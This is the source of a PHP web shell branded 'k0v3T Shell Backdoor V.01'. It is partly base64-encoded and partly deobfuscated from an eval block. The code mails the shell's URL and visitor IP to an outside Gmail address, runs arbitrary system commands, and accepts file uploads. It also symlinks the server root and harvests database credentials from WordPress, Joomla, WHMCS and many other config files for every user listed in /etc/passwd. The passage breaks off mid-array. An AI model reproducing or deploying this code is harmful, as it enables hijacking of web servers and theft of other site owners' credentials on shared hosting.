Zm9udCBjb2xvcj1yZWQ+RGlyZWN0b3J5PC9mb250PjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj4iOw0KCQ0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9IiM1ZGRjZmMiPic7DQplbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQplY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7DQppZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsNCg0KZWNobyAiPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCI/b3B0aW9uJnBhdGg9JHBhdGhcIj4NCjxzZWxlY3QgbmFtZT1cIm9wdFwiPg0KPG9wdGlvbiB2YWx1ZT1cIlNlbGVjdFwiPlNlbGVjdDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZVwiPkRlbGV0ZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cImNobW9kXCI+Q2htb2Q8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5SZW5hbWU8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZGlyXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZGlyXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZGlyXCI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjwvdHI+IjsNCn0NCmVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsNCmZvcmVhY2goJHNjYW5kaXIgYXMgJGZpbGUpew0KaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0Ow0KJHNpemUgPSByb3VuZCgkc2l6ZSwzKTsNCmlmKCRzaXplID49IDEwMjQpew0KJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KfWVsc2V7DQokc2l6ZSA9ICRzaXplLicgS0InOw0KfQ0KDQplY2hvICI8dHI+DQo8dGQ+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFMRXdBQUN4TUJBSnFjR0FBQUFBZDBTVTFGQjlvSkJoY1RKdjJCMmQ0QUFBSk1TVVJCVkRqTGJaTzlUaHhaRUlXL3FsdmR0TTM4Qk5nSlFtUWdKR2QrQS9NUUJMd0dqaXdIM253ZGtTTHRPMnhFUkc1THF4WFJTSVIyWURmRDRHa0dNMFAzcmI0YjlQQXowbDdwU2xXbFcwZm5uTG9sQUlQQjRQWGg0ZUZ1bnVjQUlJTHdkRVNlWnlBaWZucDYrdTlvTkxvM2dNM056VGRIUisvL3p2Sk16U3lKS0tvZGlJZzhBWGF4ZUl6MWJEWjdNeHFOZnRnU1VSRFd5N0xVblowZFlteEFGQVZFbEk2QUVDeWdJc1FRc2l6TEJPQUJBRE9qS0FwcWg3dTdHb0NVV2l3WWJldG9VSHJyUGN3Q3FvRjJLVWVYTHpFekJ2MCt1UW1TSE1FWjlGNlNaY3I2aTRJc0JPYS9iN0hRTWFIdElBd2dMZEhhbERBMWV2MGVRYlNqckVyUXdKcHFGNGVBeC9ob3FEMTMybU1rSnJpNXVTT2xGaEVocFVRSWlvandhbU9ETnNsamZVV0NxcExuT2FhQ1NLSnRuYUJDc1pZakFsbG1YSTR2YWVvYVZYMGNiU2RobVVSM3pBS3ZOalk2VmlvbzB0V3pnRW9uS2JXK0trR1d0M1VudDBDZUdmSnM5ZytVVTByRUdISC9Idy9Nakg2L1QrUE9kRm9STktDaE0yMnhtT1Blc3BqUEdRNkhwTlEyN3Q2c0FDRFNOYW55b2xqRExFZFZhRk9MZThaa1VqSzV1a3EzdDc5bFBDNy9PRGs1R2ErWTZPNU1xeW1OdzNWMXkzaHl6ZlgwaHF2Skx5YlhGZCsrZjJkM2QwZG1zK3F2ZzRPRHo4Zkh4MC9Mc2JlMzk2NHNTNys0dUVqdW5wcW1TZTZlM0QzTjUvTjBXWmJ0bHk5ZjA5bloyWi9iMjl2MmZMRWV2dks5cXY3YzJ0b0tpOFVpaVFpcUhibTZyaVc2YTEzZm4renY3MytvcW9yaGNMZ0tVRlhWUCtmbjUyK0xvbmo4SUxKMFA4WklDQ0Y5L1BUcENsaHBCdmdQZWxvTDlVNTVOSUFBQUFBQVNVVk9SSzVDWUlJPSc+DQo8YSBocmVmPVwiP2ZpbGVzcmM9JHBhdGgvJGZpbGUmcGF0aD0kcGF0aFwiPjxmb250IGNvbG9yPXJlZD4kZmlsZTwvZm9udD48L2E+PC90ZD4NCjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPVJlZD4iLiRzaXplLiI8L2ZvbnQ+PC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPiI7DQppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9IzVkZGNmYz4nOw0KZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9cmVkPic7DQplY2hvIHBlcm1zKCIkcGF0aC8kZmlsZSIpOw0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8L2ZvbnQ+JzsNCmVjaG8gIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQo8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCjxvcHRpb24gdmFsdWU9XCJTZWxlY3RcIj5TZWxlY3Q8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRmaWxlXCI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjwvdHI+IjsNCn0NCmVjaG8gJzwvdGFibGU+DQo8L2Rpdj4nOw0KfQ0KZWNobyAnPGJyIC8+PGNlbnRlcj48Zm9udCBzaXplPTMgOyBjb2xvcj1yZWQ+azB2M1QgU2hlbGwgQmFja2Rvb3IgIFYuMDE8YnI+PGZvbnQgc2l6ZT00IDsgY29sb3I9IzVkZGNmYz5Db3B5cmlnaHQgJmNvcHk7IDxmb250IGNvbG9yPSJyZWQiPkluZG9uZXNpYW4gSGFja2VyIENvbW11bml0eTwvZm9udD48L2JyPg0KDQo8L2JvZHk+DQo8L2h0bWw+JzsNCmZ1bmN0aW9uIHBlcm1zKCRmaWxlKXsNCiRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7DQoNCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsNCi8vIFNvY2tldA0KJGluZm8gPSAncyc7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7DQovLyBTeW1ib2xpYyBMaW5rDQokaW5mbyA9ICdsJzsNCn0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsNCi8vIFJlZ3VsYXINCiRpbmZvID0gJy0nOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgew0KLy8gQmxvY2sgc3BlY2lhbA0KJGluZm8gPSAnYic7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7DQovLyBEaXJlY3RvcnkNCiRpbmZvID0gJ2QnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgew0KLy8gQ2hhcmFjdGVyIHNwZWNpYWwNCiRpbmZvID0gJ2MnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgew0KLy8gRklGTyBwaXBlDQokaW5mbyA9ICdwJzsNCn0gZWxzZSB7DQovLyBVbmtub3duDQokaW5mbyA9ICd1JzsNCn0NCg0KLy8gT3duZXINCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8NCigoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoNCigoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KDQovLyBHcm91cA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPw0KKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOg0KKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIFdvcmxkDQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/DQooKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6DQooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCg0KcmV0dXJuICRpbmZvOw0KfQ==';
eval /* PHPDeobfuscator eval output */ {
    @ini_set('output_buffering', 0);
    @ini_set('display_errors', 0);
    set_time_limit(0);
    ini_set('memory_limit', '64M');
    header('Content-Type: text/html; charset=UTF-8');
    $tujuanmail = 'satyaaji1945@gmail.com';
    $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
    $pesan_alert = "fix {$x_path} :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
    mail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
    set_time_limit(0);
    error_reporting(0);
    //function
    function ambilKata($param, $kata1, $kata2)
    {
        if (strpos($param, $kata1) === FALSE) {
            return FALSE;
        }
        if (strpos($param, $kata2) === FALSE) {
            return FALSE;
        }
        $start = strpos($param, $kata1) + strlen($kata1);
        $end = strpos($param, $kata2, $start);
        $return = substr($param, $start, $end - $start);
        return $return;
    }
    if (get_magic_quotes_gpc()) {
        function idx_ss($array)
        {
            return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
        }
        $_POST = idx_ss($_POST);
    }
    function exe($cmd)
    {
        if (function_exists('system')) {
            @ob_start();
            @system($cmd);
            $buff = @ob_get_contents();
            @ob_end_clean();
            return $buff;
        } elseif (function_exists('exec')) {
            @exec($cmd, $results);
            $buff = "";
            foreach ($results as $result) {
                $buff .= $result;
            }
            return $buff;
        } elseif (function_exists('passthru')) {
            @ob_start();
            @passthru($cmd);
            $buff = @ob_get_contents();
            @ob_end_clean();
            return $buff;
        } elseif (function_exists('shell_exec')) {
            $buff = @shell_exec($cmd);
            return $buff;
        }
    }
    //check dir
    $nick = "k0v3T";
    if (isset($_GET['path'])) {
        $path = $_GET['path'];
    } else {
        $path = getcwd();
    }
    $software = getenv("SERVER_SOFTWARE");
    $path = str_replace('\\', '/', $path);
    $paths = explode('/', $path);
    ////////////////////////////////////////
    if (!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(posix_geteuid());
        $gid = @posix_getgrgid(posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    echo "<br><b><i><center><font color=#5ddcfc size=3>Current Dir : </font>";
    foreach ($paths as $id => $pat) {
        if ($pat == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?path=/\">/</a>";
            continue;
        }
        if ($pat == '') {
            continue;
        }
        echo "<a href=\"?path=";
        for ($i = 0; $i <= $id; $i++) {
            echo "{$paths[$i]}";
            if ($i != $id) {
                echo "/";
            }
        }
        echo '"><font color=red size=3>' . $pat . '</font></a>/';
    }
    echo "<hr color=#5ddcfc>\r\n<br><center>\r\n<font size=3><a href='?' class='tombols'>Home</a>\r\n<font size=3><a href='?path={$path}&a=upload' class='tombols'>Upload</a>\r\n<font size=3><a href='?path={$path}&a=cmd' class='tombols'>Command</a>\r\n<font size=3><a href='?path={$path}&a=configv2' class='tombols'>Config</a>\r\n<font size=3><a href='?path={$path}&a=jumping' class='tombols'>Jumping</a>\r\n<br><br>\r\n\r\n<font size=3><a href='?path={$path}&a=symlink' class='tombols'>Symlink</a>\r\n<font size=3><a href='?path={$path}&a=disablefunc' class='tombols'>Bypass Disable Function</a>\r\n\r\n</center></br>\r\n<hr color=#5ddcfc><center>";
    //uploads
    if ($_GET['a'] == 'upload') {
        if (isset($_FILES['file'])) {
            if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
                echo "<font color=\"#5ddcfc\">Berhasil Upload gan!</font><br />";
            } else {
                echo "<font color=\"red\">Gagal Upload Gan</font><br />";
            }
        }
        echo "<form enctype=\"multipart/form-data\" method=\"POST\"><font color=\"red\" size=\"4\">\r\nUpload File :<br><input type=\"file\" name=\"file\" />\r\n<input type=\"submit\" value=\"Upload\" />\r\n</form><br>\r\n</td></tr>";
    } elseif ($_GET['a'] == 'configv2') {
        if (strtolower("PHP") == "win") {
            echo "<script>alert(\"Tidak bisa di gunakan di server windows\")</script>";
            exit;
        }
        if ($_POST) {
            if ($_POST['config'] == 'symvhosts') {
                @mkdir("k0v3T_symvhosts", 0777);
                exe("ln -s / k0v3T_symvhosts/root");
                $htaccess = "Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any";
                @file_put_contents("k0v3T_symvhosts/.htaccess", $htaccess);
                $etc_passwd = $_POST['passwd'];
                $etc_passwd = explode("\n", $etc_passwd);
                foreach ($etc_passwd as $passwd) {
                    $pawd = explode(":", $passwd);
                    $user = $pawd[5];
                    $jembod = preg_replace('/\\/var\\/www\\/vhosts\\//', '', $user);
                    if (preg_match('/vhosts/i', $user)) {
                        exe("ln -s " . $user . "/httpdocs/wp-config.php k0v3T_symvhosts/" . $jembod . "-Wordpress.txt");
                        exe("ln -s " . $user . "/httpdocs/configuration.php k0v3T_symvhosts/" . $jembod . "-Joomla.txt");
                        exe("ln -s " . $user . "/httpdocs/config/koneksi.php k0v3T_symvhosts/" . $jembod . "-Lokomedia.txt");
                        exe("ln -s " . $user . "/httpdocs/forum/config.php k0v3T_symvhosts/" . $jembod . "-phpBB.txt");
                        exe("ln -s " . $user . "/httpdocs/sites/default/settings.php k0v3T_symvhosts/" . $jembod . "-Drupal.txt");
                        exe("ln -s " . $user . "/httpdocs/config/settings.inc.php k0v3T_symvhosts/" . $jembod . "-PrestaShop.txt");
                        exe("ln -s " . $user . "/httpdocs/app/etc/local.xml k0v3T_symvhosts/" . $jembod . "-Magento.txt");
                        exe("ln -s " . $user . "/httpdocs/admin/config.php k0v3T_symvhosts/" . $jembod . "-OpenCart.txt");
                        exe("ln -s " . $user . "/httpdocs/application/config/database.php k0v3T_symvhosts/" . $jembod . "-Ellislab.txt");
                    }
                }
            }
            if ($_POST['config'] == 'symlink') {
                @mkdir("k0v3T_symconfig", 0777);
                @symlink("/", "k0v3T_symconfig/root");
                $htaccess = "Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any";
                @file_put_contents("k0v3T_symconfig/.htaccess", $htaccess);
            }
            if ($_POST['config'] == '404') {
                @mkdir("k0v3T_sym404", 0777);
                @symlink("/", "k0v3T_sym404/root");
                $htaccess = "Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any\r\nIndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*\r\nIndexIgnore *.txt404\r\nRewriteEngine On\r\nRewriteCond %{REQUEST_FILENAME} ^.*k0v3T_sym404 [NC]\r\nRewriteRule \\.txt\$ %{REQUEST_URI}404 [L,R=302.NC]";
                @file_put_contents("k0v3T_sym404/.htaccess", $htaccess);
            }
            if ($_POST['config'] == 'grab') {
                mkdir("k0v3T_configgrab", 0777);
                $isi_htc = "Options all\nRequire None\nSatisfy Any";
                $htc = fopen("k0v3T_configgrab/.htaccess", "w");
                fwrite($htc, $isi_htc);
            }
            $passwd = $_POST['passwd'];
            preg_match_all('/(.*?):x:/', $passwd, $user_config);
            foreach ($user_config[1] as $user_k0v3T) {
                $grab_config = array("/home/{$user_k0v3T}/.accesshash" => "WHM-accesshash", "/home/{$user_k0v3T}/public_html/config/koneksi.php" => "Lokomedia", "/home/{$user_k0v3T}/public_html/forum/config.php" => "phpBB", "/home/{$user_k0v3T}/public_html/sites/default/settings.php" => "Drupal", "/home/{$user_k0v3T}/public_html/config/settings.inc.php" => "PrestaShop", "/home/{$user_k0v3T}/public_html/app/etc/local.xml" => "Magento", "/home/{$user_k0v3T}/public_html/admin/config.php" => "OpenCart", "/home/{$user_k0v3T}/public_html/application/config/database.php" => "Ellislab", "/home/{$user_k0v3T}/public_html/vb/includes/config.php" => "Vbulletin", "/home/{$user_k0v3T}/public_html/includes/config.php" => "Vbulletin", "/home/{$user_k0v3T}/public_html/forum/includes/config.php" => "Vbulletin", "/home/{$user_k0v3T}/public_html/forums/includes/config.php" => "Vbulletin", "/home/{$user_k0v3T}/public_html/cc/includes/config.php" => "Vbulletin", "/home/{$user_k0v3T}/public_html/inc/config.php" => "MyBB", "/home/{$user_k0v3T}/public_html/includes/configure.php" => "OsCommerce", "/home/{$user_k0v3T}/public_html/shop/includes/configure.php" => "OsCommerce", "/home/{$user_k0v3T}/public_html/os/includes/configure.php" => "OsCommerce", "/home/{$user_k0v3T}/public_html/oscom/includes/configure.php" => "OsCommerce", "/home/{$user_k0v3T}/public_html/products/includes/configure.php" => "OsCommerce", "/home/{$user_k0v3T}/public_html/cart/includes/configure.php" => "OsCommerce", "/home/{$user_k0v3T}/public_html/inc/conf_global.php" => "IPB", "/home/{$user_k0v3T}/public_html/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/wp/test/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/blog/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/beta/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/portal/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/site/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/wp/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/WP/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/news/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/wordpress/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/test/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/demo/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/home/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/v1/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/v2/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/press/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/new/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/blogs/wp-config.php" => "Wordpress", "/home/{$user_k0v3T}/public_html/configuration.php" => "Joomla", "/home/{$user_k0v3T}/public_html/blog/configuration.php" => "Joomla", "/home/{$user_k0v3T}/public_html/submitticket.php" => "^WHMCS", "/home/{$user_k0v3T}/public_html/cms/configuration.php" => "Joomla", "/home/{$user_k0v3T}/public_html/beta/configuration.php" => "Joomla", "/home/{$user_k0v3T}/public_html/portal/configuration.php" => "Joomla", "/home/{$user_k0v3T}/public_html/site/configuration.php" => "Joomla", "/home/{$user_k0v3T}/public_html/main/configuration.php" => "Joomla", "/home/{$user_k0v3T}/public_html/home/configuration.php" => "Joomla", "/home/{$user_k0v3T}/public_html/demo/configuration.php" => "Joomla", "/home/{$user_k0v3T}/public_html/test/configuration.php" => "Joomla", "/home/{$user_k0v3T}/public_html/v1/configuration.php" => "Joomla", "/home/{$user_k0v3T}/public_html/v2/configuration.php" => "Joomla", "/home/{$user_k0v3T}/public_html/joomla/configuration.php" => "Joomla", "/home/{$user_k0v3T}/public_html/new/configuration.php" => "Joomla", "/home/{$user_k0v3T}/public_html/WHMCS/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/whmcs1/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Whmcs/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/whmcs/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/whmcs/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/WHMC/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Whmc/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/whmc/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/WHM/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Whm/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/whm/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/HOST/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Host/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/host/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/SUPPORTES/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Supportes/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/supportes/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/domains/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/domain/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Hosting/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/HOSTING/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/hosting/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/CART/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Cart/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/cart/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/ORDER/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Order/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/order/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/CLIENT/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Client/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/client/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/CLIENTAREA/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Clientarea/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/clientarea/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/SUPPORT/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Support/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/support/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/BILLING/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Billing/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/billing/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/BUY/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Buy/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/buy/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/MANAGE/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Manage/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/manage/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/ClientSupport/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Clientsupport/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/clientsupport/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/CHECKOUT/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Checkout/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/checkout/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/{$user_k0v3T}/public_html/Billings/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/billings/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/BASKET/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/Basket/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/basket/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/SECURE/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/Secure/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/secure/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/SALES/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/Sales/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/sales/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/BILL/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/Bill/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/bill/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/PURCHASE/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/Purchase/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/purchase/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/ACCOUNT/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/Account/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/account/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/USER/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/User/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/user/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/CLIENTS/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/Clients/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/clients/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/Billings/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/billings/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/MY/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/My/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/my/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/secure/whm/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/secure/whmcs/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/panel/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/clientes/submitticket.php" => "WHMCS", "/home/{$user_con7ext}/public_html/cliente/submitticket.php" => "WHMCS", 